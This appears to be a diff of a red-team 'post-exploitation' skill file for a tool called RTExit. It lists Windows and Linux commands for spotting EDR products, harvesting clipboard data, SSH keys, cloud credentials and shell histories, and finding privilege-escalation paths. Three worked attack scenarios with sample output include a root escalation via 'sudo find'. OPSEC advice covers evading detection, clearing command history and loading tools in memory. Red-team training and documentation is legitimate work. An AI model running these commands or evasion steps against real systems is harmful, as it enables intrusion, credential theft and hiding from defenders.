Get-Process | Where-Object { $_.Name -match "defender|crowdstrike|carbon|sentinel|cylance|cbdefense|mde" }
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
Linux bash:
|
|
284
|
+
```bash
|
|
285
|
+
ps auxf
|
|
286
|
+
ps -eo pid,ppid,user,comm,args --sort=-%mem | head -30
|
|
287
|
+
# Identify security tools
|
|
288
|
+
ps aux | grep -iE 'auditd|falcon|osquery|wazuh|aide|tripwire|clamav'
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
**Step 8 — Services**
|
|
292
|
+
|
|
293
|
+
Windows CMD:
|
|
294
|
+
```cmd
|
|
295
|
+
sc query type= all state= all
|
|
296
|
+
net start
|
|
297
|
+
wmic service get Name,DisplayName,StartMode,State,PathName
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
Windows PowerShell:
|
|
301
|
+
```powershell
|
|
302
|
+
Get-Service | Select-Object Name, DisplayName, Status, StartType
|
|
303
|
+
Get-WmiObject Win32_Service | Select-Object Name, DisplayName, StartMode, State, PathName, StartName | Where-Object { $_.State -eq "Running" }
|
|
304
|
+
# Unquoted service paths (privilege escalation vector)
|
|
305
|
+
Get-WmiObject Win32_Service | Where-Object { $_.PathName -match '^[^"].*\s.*\.exe' } | Select-Object Name, PathName
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
Linux bash:
|
|
309
|
+
```bash
|
|
310
|
+
systemctl list-units --type=service --state=running
|
|
311
|
+
service --status-all 2>/dev/null
|
|
312
|
+
initctl list 2>/dev/null
|
|
313
|
+
ls /etc/init.d/
|
|
314
|
+
# SUID/SGID binaries (privilege escalation)
|
|
315
|
+
find / -perm -4000 -o -perm -2000 2>/dev/null | sort
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
---
|
|
319
|
+
|
|
320
|
+
### Phase 4: Scheduled tasks and persistence mechanisms
|
|
321
|
+
|
|
322
|
+
**Step 9 — Scheduled tasks (Windows)**
|
|
323
|
+
|
|
324
|
+
Windows CMD:
|
|
325
|
+
```cmd
|
|
326
|
+
schtasks /query /fo LIST /v
|
|
327
|
+
at
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
Windows PowerShell:
|
|
331
|
+
```powershell
|
|
332
|
+
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } | Select-Object TaskName, TaskPath, State
|
|
333
|
+
Get-ScheduledTask | Get-ScheduledTaskInfo | Select-Object TaskName, LastRunTime, NextRunTime
|
|
334
|
+
# Show task actions (what command runs)
|
|
335
|
+
Get-ScheduledTask | Select-Object TaskName, @{N="Actions";E={ ($_.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join ";" }}
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
**Step 9b — Cron jobs (Linux)**
|
|
339
|
+
|
|
340
|
+
```bash
|
|
341
|
+
crontab -l 2>/dev/null
|
|
342
|
+
cat /etc/crontab
|
|
343
|
+
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ 2>/dev/null
|
|
344
|
+
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null && echo "^ $user"; done
|
|
345
|
+
# World-writable cron scripts (privilege escalation)
|
|
346
|
+
find /etc/cron* /var/spool/cron -type f -writable 2>/dev/null
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
---
|
|
350
|
+
|
|
351
|
+
### Phase 5: Installed software and patch level
|
|
352
|
+
|
|
353
|
+
**Step 10 — Installed software**
|
|
354
|
+
|
|
355
|
+
Windows CMD:
|
|
356
|
+
```cmd
|
|
357
|
+
wmic product get Name,Version,Vendor
|
|
358
|
+
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"
|
|
359
|
+
```
|
|
360
|
+
|
|
361
|
+
Windows PowerShell:
|
|
362
|
+
```powershell
|
|
363
|
+
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
|
|
364
|
+
Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
|
|
365
|
+
Where-Object { $_.DisplayName } |
|
|
366
|
+
Sort-Object DisplayName
|
|
367
|
+
|
|
368
|
+
# 32-bit software on 64-bit OS
|
|
369
|
+
Get-ItemProperty HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
|
|
370
|
+
Select-Object DisplayName, DisplayVersion |
|
|
371
|
+
Where-Object { $_.DisplayName }
|
|
372
|
+
```
|
|
373
|
+
|
|
374
|
+
Windows — patch level:
|
|
375
|
+
```powershell
|
|
376
|
+
systeminfo | findstr /i "hotfix\|os version\|build"
|
|
377
|
+
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20
|
|
378
|
+
```
|
|
379
|
+
|
|
380
|
+
Linux bash:
|
|
381
|
+
```bash
|
|
382
|
+
# Debian/Ubuntu
|
|
383
|
+
dpkg -l | awk '{print $2, $3}' | head -50
|
|
384
|
+
apt list --installed 2>/dev/null
|
|
385
|
+
|
|
386
|
+
# RHEL/CentOS
|
|
387
|
+
rpm -qa --queryformat '%{NAME} %{VERSION}\n' | sort
|
|
388
|
+
|
|
389
|
+
# Kernel version (for kernel exploit identification)
|
|
390
|
+
uname -a
|
|
391
|
+
cat /etc/os-release
|
|
392
|
+
```
|
|
393
|
+
|
|
394
|
+
---
|
|
395
|
+
|
|
396
|
+
### Phase 6: Active sessions and file shares
|
|
397
|
+
|
|
398
|
+
**Step 11 — Active logon sessions**
|
|
399
|
+
|
|
400
|
+
Windows CMD:
|
|
401
|
+
```cmd
|
|
402
|
+
query user
|
|
403
|
+
query session
|
|
404
|
+
net session
|
|
405
|
+
```
|
|
406
|
+
|
|
407
|
+
Windows PowerShell:
|
|
408
|
+
```powershell
|
|
409
|
+
Get-WmiObject Win32_LogonSession | Select-Object LogonId, LogonType, StartTime, AuthenticationPackage
|
|
410
|
+
Get-WmiObject Win32_LoggedOnUser | Select-Object Antecedent, Dependent
|
|
411
|
+
# Equivalent of 'who' on Windows
|
|
412
|
+
query user /server:localhost
|
|
413
|
+
```
|
|
414
|
+
|
|
415
|
+
Linux bash:
|
|
416
|
+
```bash
|
|
417
|
+
who
|
|
418
|
+
w
|
|
419
|
+
last | head -20
|
|
420
|
+
lastlog | grep -v "Never"
|
|
421
|
+
ss -tp | grep ESTABLISHED
|
|
422
|
+
```
|
|
423
|
+
|
|
424
|
+
**Step 12 — File shares and network drives**
|
|
425
|
+
|
|
426
|
+
Windows CMD:
|
|
427
|
+
```cmd
|
|
428
|
+
net share
|
|
429
|
+
net use
|
|
430
|
+
wmic share get Name,Path,Description
|
|
431
|
+
```
|
|
432
|
+
|
|
433
|
+
Windows PowerShell:
|
|
434
|
+
```powershell
|
|
435
|
+
Get-SmbShare | Select-Object Name, Path, Description
|
|
436
|
+
Get-SmbConnection
|
|
437
|
+
Get-PSDrive | Where-Object { $_.Provider -match "FileSystem" }
|
|
438
|
+
# Map accessible UNC paths
|
|
439
|
+
Get-WmiObject Win32_NetworkConnection | Select-Object Name, RemoteName, Status
|
|
440
|
+
```
|
|
441
|
+
|
|
442
|
+
Linux bash:
|
|
443
|
+
```bash
|
|
444
|
+
# Mounted shares
|
|
445
|
+
mount | grep -E 'cifs|nfs|smbfs'
|
|
446
|
+
cat /proc/mounts
|
|
447
|
+
df -hT | grep -E 'cifs|nfs'
|
|
448
|
+
# NFS exports
|
|
449
|
+
showmount -e localhost 2>/dev/null
|
|
450
|
+
cat /etc/exports 2>/dev/null
|
|
451
|
+
```
|
|
452
|
+
|
|
453
|
+
---
|
|
454
|
+
|
|
455
|
+
### Phase 7: Credential and secret hunting
|
|
456
|
+
|
|
457
|
+
**Step 13 — Clipboard data**
|
|
458
|
+
|
|
459
|
+
Windows PowerShell:
|
|
460
|
+
```powershell
|
|
461
|
+
Add-Type -AssemblyName System.Windows.Forms
|
|
462
|
+
[System.Windows.Forms.Clipboard]::GetText()
|
|
463
|
+
```
|
|
464
|
+
|
|
465
|
+
Windows CMD (via PowerShell one-liner):
|
|
466
|
+
```cmd
|
|
467
|
+
powershell -c "Add-Type -AN System.Windows.Forms; [System.Windows.Forms.Clipboard]::GetText()"
|
|
468
|
+
```
|
|
469
|
+
|
|
470
|
+
Linux bash:
|
|
471
|
+
```bash
|
|
472
|
+
# X11 clipboard
|
|
473
|
+
xclip -o 2>/dev/null
|
|
474
|
+
xsel --clipboard --output 2>/dev/null
|
|
475
|
+
# Wayland
|
|
476
|
+
wl-paste 2>/dev/null
|
|
477
|
+
```
|
|
478
|
+
|
|
479
|
+
**Step 14 — Credential files and config secrets**
|
|
480
|
+
|
|
481
|
+
Windows PowerShell:
|
|
482
|
+
```powershell
|
|
483
|
+
# Common credential file locations
|
|
484
|
+
$locations = @(
|
|
485
|
+
"$env:APPDATA\Microsoft\Credentials",
|
|
486
|
+
"$env:LOCALAPPDATA\Microsoft\Credentials",
|
|
487
|
+
"$env:USERPROFILE\.ssh",
|
|
488
|
+
"C:\Users\*\.aws\credentials",
|
|
489
|
+
"C:\Users\*\.config\gcloud\credentials.db",
|
|
490
|
+
"C:\inetpub\wwwroot\*\web.config",
|
|
491
|
+
"C:\xampp\htdocs\*\config.php"
|
|
492
|
+
)
|
|
493
|
+
foreach ($loc in $locations) {
|
|
494
|
+
Get-Item $loc -ErrorAction SilentlyContinue | Select-Object FullName
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
# Search for password strings in common config files
|
|
498
|
+
Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue |
|
|
499
|
+
Where-Object { $_.Name -match 'password|passwd|secret|cred|\.env' } |
|
|
500
|
+
Select-Object FullName | Select-Object -First 20
|
|
501
|
+
```
|
|
502
|
+
|
|
503
|
+
Linux bash:
|
|
504
|
+
```bash
|
|
505
|
+
# SSH keys
|
|
506
|
+
find /home /root -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
|
|
507
|
+
# .env files
|
|
508
|
+
find / -name ".env" -readable 2>/dev/null | head -10
|
|
509
|
+
# AWS/GCP/Azure credentials
|
|
510
|
+
find /home /root -path "*/.aws/credentials" -o -path "*/.config/gcloud*" 2>/dev/null
|
|
511
|
+
# History files
|
|
512
|
+
for f in /home/*/.bash_history /root/.bash_history /home/*/.zsh_history; do
|
|
513
|
+
echo "=== $f ===" && cat "$f" 2>/dev/null | grep -iE 'pass|secret|key|token|curl|wget' | head -5
|
|
514
|
+
done
|
|
515
|
+
# Docker secrets
|
|
516
|
+
find / -name "docker-compose*" -readable 2>/dev/null | xargs grep -l "password\|secret" 2>/dev/null
|
|
517
|
+
```
|
|
518
|
+
|
|
519
|
+
---
|
|
520
|
+
|
|
521
|
+
### Phase 8: Process injection opportunity identification
|
|
522
|
+
|
|
523
|
+
**Step 15 — Identify injectable processes**
|
|
524
|
+
|
|
525
|
+
Windows PowerShell:
|
|
526
|
+
```powershell
|
|
527
|
+
# Processes running as SYSTEM or high-integrity that are stable targets
|
|
528
|
+
Get-WmiObject Win32_Process | Where-Object {
|
|
529
|
+
$_.Name -match 'svchost|lsass|winlogon|explorer|spoolsv'
|
|
530
|
+
} | Select-Object Name, ProcessId, ExecutablePath
|
|
531
|
+
|
|
532
|
+
# Check process architecture (32 vs 64-bit) for injection compatibility
|
|
533
|
+
$processes = Get-Process
|
|
534
|
+
foreach ($p in $processes) {
|
|
535
|
+
try {
|
|
536
|
+
$is32bit = [System.Diagnostics.Process]::GetProcessById($p.Id)
|
|
537
|
+
# Use IsWow64Process via P/Invoke for accurate detection
|
|
538
|
+
} catch {}
|
|
539
|
+
}
|
|
540
|
+
|
|
541
|
+
# List processes with no security products loaded (naive check)
|
|
542
|
+
Get-Process | Where-Object { $_.Modules -notmatch 'amsi|wdfilter' } |
|
|
543
|
+
Select-Object Name, Id | Select-Object -First 10
|
|
544
|
+
```
|
|
545
|
+
|
|
546
|
+
Linux bash:
|
|
547
|
+
```bash
|
|
548
|
+
# Processes owned by root that may be injectable via ptrace
|
|
549
|
+
ps -eo pid,user,comm | awk '$2=="root" && $3!~/kthread|migration|ksoftirqd/'
|
|
550
|
+
# Check if ptrace is unrestricted
|
|
551
|
+
cat /proc/sys/kernel/yama/ptrace_scope
|
|
552
|
+
# 0 = unrestricted ptrace (injection possible), 1-3 = restricted
|
|
553
|
+
```
|
|
554
|
+
|
|
555
|
+
---
|
|
556
|
+
|
|
557
|
+
## Real Attack Scenarios
|
|
558
|
+
|
|
559
|
+
### Scenario 1: Windows Domain-Joined Workstation — Phishing Initial Access
|
|
560
|
+
|
|
561
|
+
**Context:** Phishing payload executed on a domain-joined Windows 10 workstation. Beacon established as `CORP\jdoe` (standard user).
|
|
562
|
+
|
|
563
|
+
**Chain of steps:**
|
|
564
|
+
|
|
565
|
+
```powershell
|
|
566
|
+
# Step 1: Confirm identity and domain membership
|
|
567
|
+
whoami /all
|
|
568
|
+
# Output shows: CORP\jdoe, member of Domain Users, no elevated privileges
|
|
569
|
+
|
|
570
|
+
# Step 2: Check if we're on a domain
|
|
571
|
+
(Get-WmiObject Win32_ComputerSystem).Domain
|
|
572
|
+
# Output: corp.local
|
|
573
|
+
|
|
574
|
+
# Step 3: Identify local admins — are there any domain accounts with local admin?
|
|
575
|
+
Get-LocalGroupMember -Group "Administrators"
|
|
576
|
+
# Output: CORP\Domain Admins, CORP\IT-Helpdesk, LOCAL\Administrator
|
|
577
|
+
|
|
578
|
+
# Step 4: Check network position
|
|
579
|
+
Get-NetIPAddress | Select-Object IPAddress, PrefixLength
|
|
580
|
+
# Output: 10.10.5.42/24
|
|
581
|
+
Get-NetRoute | Where-Object { $_.DestinationPrefix -ne "0.0.0.0/0" }
|
|
582
|
+
# Output: 10.10.0.0/16 via 10.10.5.1 — full corporate LAN reachable
|
|
583
|
+
|
|
584
|
+
# Step 5: Identify high-value processes for injection
|
|
585
|
+
Get-Process | Where-Object { $_.Name -match 'explorer' } | Select-Object Id, Name
|
|
586
|
+
# Migrate beacon into explorer.exe PID for stability
|
|
587
|
+
|
|
588
|
+
# Step 6: Discover other active sessions on this host
|
|
589
|
+
query user
|
|
590
|
+
# Output: IT-Helpdesk user logged in on RDP session — credential target
|
|
591
|
+
|
|
592
|
+
# Step 7: Check for cached credentials / password files
|
|
593
|
+
cmdkey /list
|
|
594
|
+
# Output: CORP\svc_backup cached — high-value service account
|
|
595
|
+
|
|
596
|
+
# Step 8: Network share enumeration — pivot targets
|
|
597
|
+
Get-SmbConnection
|
|
598
|
+
# Output: \\fileserver01\it-shares — active connection, likely accessible
|
|
599
|
+
|
|
600
|
+
# Step 9: Feed into RTExit autodoc
|
|
601
|
+
rtexit note --host WIN10-JDOE --finding "Domain-joined, 10.10.5.42, IT-Helpdesk RDP session active, svc_backup credentials cached, fileserver01 reachable"
|
|
602
|
+
rtexit tag --host WIN10-JDOE --tags "domain-joined,lateral-movement-ready,credential-candidate"
|
|
603
|
+
```
|
|
604
|
+
|
|
605
|
+
**Outcome:** Identified pivot path to fileserver01 via active SMB connection, and credential theft opportunity from cached `svc_backup` and active IT-Helpdesk RDP session.
|
|
606
|
+
|
|
607
|
+
---
|
|
608
|
+
|
|
609
|
+
### Scenario 2: Linux Web Server — RCE via Web Application
|
|
610
|
+
|
|
611
|
+
**Context:** Remote code execution gained via SQL injection + file write on a public-facing Ubuntu 22.04 web server. Shell as `www-data`.
|
|
612
|
+
|
|
613
|
+
**Chain of steps:**
|
|
614
|
+
|
|
615
|
+
```bash
|
|
616
|
+
# Step 1: Stabilize shell
|
|
617
|
+
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
618
|
+
export TERM=xterm
|
|
619
|
+
|
|
620
|
+
# Step 2: Identity and privilege check
|
|
621
|
+
id
|
|
622
|
+
# uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(docker)
|
|
623
|
+
# NOTE: www-data is in the docker group — potential container escape
|
|
624
|
+
|
|
625
|
+
sudo -l 2>/dev/null
|
|
626
|
+
# (ALL) NOPASSWD: /usr/bin/mysqldump — can dump the DB as root!
|
|
627
|
+
|
|
628
|
+
# Step 3: Network position
|
|
629
|
+
ip a | grep -E 'inet '
|
|
630
|
+
# 10.0.1.15/24 — internal network
|
|
631
|
+
# 172.17.0.1/16 — Docker bridge network! Other containers may be reachable
|
|
632
|
+
|
|
633
|
+
ip route
|
|
634
|
+
# default via 10.0.1.1 dev eth0
|
|
635
|
+
# 172.17.0.0/16 dev docker0
|
|
636
|
+
|
|
637
|
+
# Step 4: Check for other services listening internally
|
|
638
|
+
ss -tulpn
|
|
639
|
+
# 0.0.0.0:3306 — MySQL listening on all interfaces
|
|
640
|
+
# 172.17.0.2:6379 — Redis in a Docker container (unauthenticated?)
|
|
641
|
+
# 127.0.0.1:8080 — Internal admin panel
|
|
642
|
+
|
|
643
|
+
# Step 5: Other users and home dirs
|
|
644
|
+
cat /etc/passwd | grep -v '/nologin\|/false'
|
|
645
|
+
# deploy (uid=1000) has /home/deploy — likely has SSH keys
|
|
646
|
+
ls -la /home/deploy/.ssh/ 2>/dev/null
|
|
647
|
+
# id_rsa present and readable! (misconfigured permissions)
|
|
648
|
+
|
|
649
|
+
# Step 6: History files for credentials
|
|
650
|
+
cat /home/deploy/.bash_history 2>/dev/null
|
|
651
|
+
# mysql -u root -pS3cr3tP@ssword123 ← root MySQL password in history
|
|
652
|
+
|
|
653
|
+
# Step 7: Cron jobs
|
|
654
|
+
crontab -l
|
|
655
|
+
cat /etc/cron.d/*
|
|
656
|
+
# */5 * * * * deploy /opt/scripts/backup.sh ← writable by www-data? Check.
|
|
657
|
+
ls -la /opt/scripts/backup.sh
|
|
658
|
+
# -rwxrwxr-x — writable! Cron privilege escalation path.
|
|
659
|
+
|
|
660
|
+
# Step 8: SUID binaries
|
|
661
|
+
find / -perm -4000 2>/dev/null
|
|
662
|
+
# /usr/bin/pkexec — check CVE-2021-4034 (PwnKit)
|
|
663
|
+
|
|
664
|
+
# Step 9: Feed into RTExit autodoc
|
|
665
|
+
rtexit note --host webserver01 --ip 10.0.1.15 \
|
|
666
|
+
--finding "www-data in docker group, sudo mysqldump NOPASSWD, MySQL root cred in history, writable cron script, deploy SSH key readable, Redis container at 172.17.0.2"
|
|
667
|
+
rtexit tag --host webserver01 --tags "privesc-ready,docker-escape,lateral-movement,credential-found"
|
|
668
|
+
```
|
|
669
|
+
|
|
670
|
+
**Outcome:** Multiple privilege escalation paths identified (docker group escape, cron write, PwnKit), database credential found, lateral movement into Docker subnet possible.
|
|
671
|
+
|
|
672
|
+
---
|
|
673
|
+
|
|
674
|
+
### Scenario 3: Linux Server — Privilege Context Change After Lateral Movement
|
|
675
|
+
|
|
676
|
+
**Context:** SSH lateral movement successful using stolen key. Now on `dbserver02` as `svc_app`. Need to enumerate before escalating.
|
|
677
|
+
|
|
678
|
+
**Chain of steps:**
|
|
679
|
+
|
|
680
|
+
```bash
|
|
681
|
+
# Step 1: Identity
|
|
682
|
+
id && hostname && uname -a
|
|
683
|
+
# svc_app, RHEL 8.6, kernel 4.18.0-372 (check kernel exploits)
|
|
684
|
+
|
|
685
|
+
# Step 2: What can svc_app do?
|
|
686
|
+
sudo -l
|
|
687
|
+
# (root) NOPASSWD: /usr/bin/find ← GTFOBins: sudo find . -exec /bin/bash \; -quit
|
|
688
|
+
|
|
689
|
+
# Step 3: Running processes — what's the app server doing?
|
|
690
|
+
ps aux | grep -v '\[' | awk '{print $1,$2,$11}' | sort -u | head -30
|
|
691
|
+
# java process running as root with -Dconfig=/opt/app/config.yaml
|
|
692
|
+
|
|
693
|
+
# Step 4: Read the app config (running as svc_app, might be readable)
|
|
694
|
+
cat /opt/app/config.yaml
|
|
695
|
+
# database.password: Pr0d-DB-P@ss! ← production DB credential
|
|
696
|
+
|
|
697
|
+
# Step 5: Internal network from this host
|
|
698
|
+
ss -tulpn
|
|
699
|
+
# 0.0.0.0:5432 — PostgreSQL (internal)
|
|
700
|
+
ip route
|
|
701
|
+
# 10.10.20.0/24 dev eth1 — separate DB VLAN, new segment
|
|
702
|
+
|
|
703
|
+
# Step 6: ARP cache — what hosts are known?
|
|
704
|
+
ip neigh
|
|
705
|
+
# 10.10.20.10 — another host in DB VLAN
|
|
706
|
+
|
|
707
|
+
# Step 7: Check for SSH keys to reach DB VLAN hosts
|
|
708
|
+
ls -la ~/.ssh/
|
|
709
|
+
cat ~/.ssh/config 2>/dev/null
|
|
710
|
+
# Host db-primary: 10.10.20.10, user postgres — key-based auth!
|
|
711
|
+
|
|
712
|
+
# Step 8: Escalate via sudo find
|
|
713
|
+
sudo find . -exec /bin/bash -p \; -quit
|
|
714
|
+
# Now root on dbserver02
|
|
715
|
+
|
|
716
|
+
# Step 9: Document and chain
|
|
717
|
+
rtexit note --host dbserver02 --ip 10.10.20.1 \
|
|
718
|
+
--finding "svc_app sudo find NOPASSWD (GTFOBins), PostgreSQL prod cred in config.yaml, SSH key to 10.10.20.10 (db-primary), DB VLAN 10.10.20.0/24 accessible"
|
|
719
|
+
rtexit escalation --host dbserver02 --from svc_app --to root --method "sudo find GTFOBins"
|
|
720
|
+
rtexit pivot --from dbserver02 --to 10.10.20.10 --method "SSH key reuse"
|
|
721
|
+
```
|
|
722
|
+
|
|
723
|
+
**Outcome:** Root on dbserver02 achieved, production DB credential captured, path to db-primary via stolen SSH key documented.
|
|
724
|
+
|
|
725
|
+
---
|
|
726
|
+
|
|
727
|
+
## OPSEC Considerations
|
|
728
|
+
|
|
729
|
+
### Detection risks by technique
|
|
730
|
+
|
|
731
|
+
| Technique | Detection Risk | Notes |
|
|
732
|
+
|---|---|---|
|
|
733
|
+
| `whoami /all` | Low | Rarely alerted; native binary |
|
|
734
|
+
| `net user` / `net localgroup` | Low-Medium | May trigger UEBA baselines on servers |
|
|
735
|
+
| `systeminfo` | Medium | Generates event 4688 if process auditing enabled; slow and noisy |
|
|
736
|
+
| `wmic process get` | Medium-High | WMIC is heavily monitored; consider PowerShell alternative |
|
|
737
|
+
| `Get-Process` (PowerShell) | Medium | AMSI-visible; ScriptBlock logging captures it |
|
|
738
|
+
| WinPEAS / LinPEAS (on disk) | High | AV signature detection; use in-memory only |
|
|
739
|
+
| `tasklist /v` | Low | Native, but verbose output may correlate with discovery TTP (T1057) |
|
|
740
|
+
| `Get-ScheduledTask` | Medium | PowerShell logging; correlates with T1053 |
|
|
741
|
+
| `schtasks /query` | Low | Native CMD; less scrutinized |
|
|
742
|
+
| `net share` / `Get-SmbShare` | Medium | SMB enumeration triggers in network monitoring |
|
|
743
|
+
| Clipboard access | High | Very unusual; triggers behavioral detection on EDR |
|
|
744
|
+
| SSH key reading | Medium | File access auditing (auditd) may catch it |
|
|
745
|
+
| SUID find (`find / -perm -4000`) | Medium-High | Triggers auditd EXECVE rules for `find` with root-owned files |
|
|
746
|
+
| `cat /etc/shadow` | High | Access to shadow always alerted in auditd setups |
|
|
747
|
+
| `sudo -l` | Low-Medium | Logged by sudo to syslog; unusual for non-admin users |
|
|
748
|
+
|
|
749
|
+
### OPSEC best practices
|
|
750
|
+
|
|
751
|
+
**Do:**
|
|
752
|
+
- Run enumeration commands one at a time rather than in automated loops on sensitive hosts
|
|
753
|
+
- Use in-process execution via C2 (Beacon's `execute-assembly`, Sliver's `execute-shellcode`) to avoid spawning new processes
|
|
754
|
+
- Prefer `Get-NetTCPConnection` over `netstat` (no child process created)
|
|
755
|
+
- Set sleep timers (5-15 minutes) on C2 beacons during business hours on monitored hosts
|
|
756
|
+
- Clear PowerShell history after enumeration: `Remove-Item (Get-PSReadlineOption).HistorySavePath`
|
|
757
|
+
- On Linux: unset `HISTFILE` before running commands (`unset HISTFILE`)
|
|
758
|
+
|
|
759
|
+
**Do not:**
|
|
760
|
+
- Run WinPEAS/LinPEAS on disk on production servers — always load in-memory
|
|
761
|
+
- Enumerate every host simultaneously — stagger by 10-30 minutes
|
|
762
|
+
- Use `wmic` on modern Windows environments with mature EDR (MDE, CrowdStrike) — it is heavily monitored
|
|
763
|
+
- Access `lsass` directly without understanding the EDR in place
|
|
764
|
+
- Read `/etc/shadow` unless you have a specific operational need — it is a near-certain alert
|
|
765
|
+
|
|
766
|
+
### MITRE ATT&CK mappings
|
|
767
|
+
|
|
768
|
+
| Step | Technique ID | Name |
|
|
769
|
+
|---|---|---|
|
|
770
|
+
| Identity enum | T1033 | System Owner/User Discovery |
|
|
771
|
+
| Network enum | T1016 | System Network Configuration Discovery |
|
|
772
|
+
| Process enum | T1057 | Process Discovery |
|
|
773
|
+
| Service enum | T1007 | System Service Discovery |
|
|
774
|
+
| Software enum | T1518 | Software Discovery |
|
|
775
|
+
| Scheduled tasks | T1053 | Scheduled Task/Job |
|
|
776
|
+
| File shares | T1135 | Network Share Discovery |
|
|
777
|
+
| Clipboard | T1115 | Clipboard Data |
|
|
778
|
+
| Credential files | T1552 | Unsecured Credentials |
|
|
779
|
+
| Session enum | T1049 | System Network Connections Discovery |
|
|
780
|
+
|
|
781
|
+
---
|
|
782
|
+
|
|
783
|
+
## Integration with RTExit Autodoc Engine
|
|
784
|
+
|
|
785
|
+
The RTExit autodoc engine collects findings, tags hosts, and builds the engagement map. Use the following commands to feed post-exploitation output into the engine.
|
|
786
|
+
|
|
787
|
+
### Registering a new host
|
|
788
|
+
|
|
789
|
+
```bash
|
|
790
|
+
rtexit host add \
|
|
791
|
+
--hostname WIN10-JDOE \
|
|
792
|
+
--ip 10.10.5.42 \
|
|
793
|
+
--os "Windows 10 22H2" \
|
|
794
|
+
--access-level user \
|
|
795
|
+
--via phishing
|
|
796
|
+
|
|
797
|
+
# Linux equivalent
|
|
798
|
+
rtexit host add \
|
|
799
|
+
--hostname webserver01 \
|
|
800
|
+
--ip 10.0.1.15 \
|
|
801
|
+
--os "Ubuntu 22.04" \
|
|
802
|
+
--access-level www-data \
|
|
803
|
+
--via "RCE CVE-XXXX-XXXX"
|
|
804
|
+
```
|
|
805
|
+
|
|
806
|
+
### Recording a finding
|
|
807
|
+
|
|
808
|
+
```bash
|
|
809
|
+
rtexit finding add \
|
|
810
|
+
--host WIN10-JDOE \
|
|
811
|
+
--category "Credential Exposure" \
|
|
812
|
+
--title "svc_backup credentials cached in Windows Credential Manager" \
|
|
813
|
+
--severity high \
|
|
814
|
+
--evidence "cmdkey /list output: corp\\svc_backup" \
|
|
815
|
+
--mitre T1552.001
|
|
816
|
+
|
|
817
|
+
rtexit finding add \
|
|
818
|
+
--host webserver01 \
|
|
819
|
+
--category "Privilege Escalation" \
|
|
820
|
+
--title "www-data in docker group — container escape possible" \
|
|
821
|
+
--severity critical \
|
|
822
|
+
--mitre T1611
|
|
823
|
+
```
|
|
824
|
+
|
|
825
|
+
### Tagging hosts for workflow routing
|
|
826
|
+
|
|
827
|
+
```bash
|
|
828
|
+
# Mark a host as ready for lateral movement
|
|
829
|
+
rtexit tag --host WIN10-JDOE --tags "lateral-movement-ready,domain-joined,credential-candidate"
|
|
830
|
+
|
|
831
|
+
# Mark a host as privilege-escalation ready
|
|
832
|
+
rtexit tag --host webserver01 --tags "privesc-ready,docker-escape"
|
|
833
|
+
|
|
834
|
+
# Mark credential findings
|
|
835
|
+
rtexit credential add \
|
|
836
|
+
--host webserver01 \
|
|
837
|
+
--username root \
|
|
838
|
+
--type password \
|
|
839
|
+
--value "S3cr3tP@ssword123" \
|
|
840
|
+
--source "MySQL command history /home/deploy/.bash_history" \
|
|
841
|
+
--confirmed true
|
|
842
|
+
```
|
|
843
|
+
|
|
844
|
+
### Recording privilege escalation
|
|
845
|
+
|
|
846
|
+
```bash
|
|
847
|
+
rtexit escalation add \
|
|
848
|
+
--host dbserver02 \
|
|
849
|
+
--from-user svc_app \
|
|
850
|
+
--to-user root \
|
|
851
|
+
--method "sudo find GTFOBins (NOPASSWD)" \
|
|
852
|
+
--mitre T1548.003
|
|
853
|
+
```
|
|
854
|
+
|
|
855
|
+
### Recording lateral movement paths
|
|
856
|
+
|
|
857
|
+
```bash
|
|
858
|
+
rtexit pivot add \
|
|
859
|
+
--from-host dbserver02 \
|
|
860
|
+
--to-host 10.10.20.10 \
|
|
861
|
+
--method "SSH key reuse" \
|
|
862
|
+
--credential "svc_app private key ~/.ssh/id_rsa" \
|
|
863
|
+
--mitre T1021.004
|
|
864
|
+
```
|
|
865
|
+
|
|
866
|
+
### Generating the discovery report
|
|
867
|
+
|
|
868
|
+
```bash
|
|
869
|
+
# Generate host summary for current engagement
|
|
870
|
+
rtexit report host-summary --format markdown --out ./reports/host-discovery.md
|
|
871
|
+
|
|
872
|
+
# Generate network map
|
|
873
|
+
rtexit report network-map --format dot --out ./reports/network.dot
|
|
874
|
+
dot -Tpng ./reports/network.dot -o ./reports/network.png
|
|
875
|
+
|
|
876
|
+
# Export all findings as JSON for review
|
|
877
|
+
rtexit export findings --format json --out ./reports/findings.json
|
|
878
|
+
```
|
|
879
|
+
|
|
880
|
+
### Running post-exploitation skill with autodoc streaming
|
|
881
|
+
|
|
882
|
+
```bash
|
|
883
|
+
# Run a post-exploitation enumeration session with live autodoc capture
|
|
884
|
+
rtexit session start --host WIN10-JDOE --skill rt-post-exploitation
|
|
885
|
+
|
|
886
|
+
# Inside the session, all commands and outputs are captured
|
|
887
|
+
# Exit the session and generate the report
|
|
888
|
+
rtexit session end --host WIN10-JDOE --auto-tag --auto-classify
|
|
889
|
+
```
|
|
890
|
+
|
|
891
|
+
---
|
|
892
|
+
|
|
893
|
+
## Output and Documentation
|
|
894
|
+
|
|
895
|
+
### What to document per host
|
|
896
|
+
|
|
897
|
+
For each compromised host, the minimum documentation set is:
|
|
898
|
+
|
|
899
|
+
1. **Identity context:** username, privileges, group memberships
|
|
900
|
+
2. **Network position:** IP addresses, subnet, gateway, DNS, domain membership
